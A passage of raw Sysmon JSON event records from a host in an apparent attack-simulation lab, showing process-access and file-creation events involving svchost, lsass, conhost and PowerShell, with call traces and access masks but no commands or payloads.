C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1F3FFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1f3fff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b42a7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b452d|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3ed3|UNKNOWN(00007FF8EA7C3B23)","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.540\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.540","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.556\r\nProcessGuid: {90617006-4164-5F2D-0000-00103AB80700}\r\nProcessId: 4644\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qumi0dk5.ww5.ps1\r\nCreationUtcTime: 2020-08-07 11:56:20.556","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.556","ProcessGuid":"{90617006-4164-5F2D-0000-00103AB80700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qumi0dk5.ww5.ps1","CreationUtcTime":"2020-08-07 11:56:20.556","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.587\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.587","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.587\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.587","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.868\r\nProcessGuid: {90617006-4164-5F2D-0000-00103AB80700}\r\nProcessId: 4644\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: 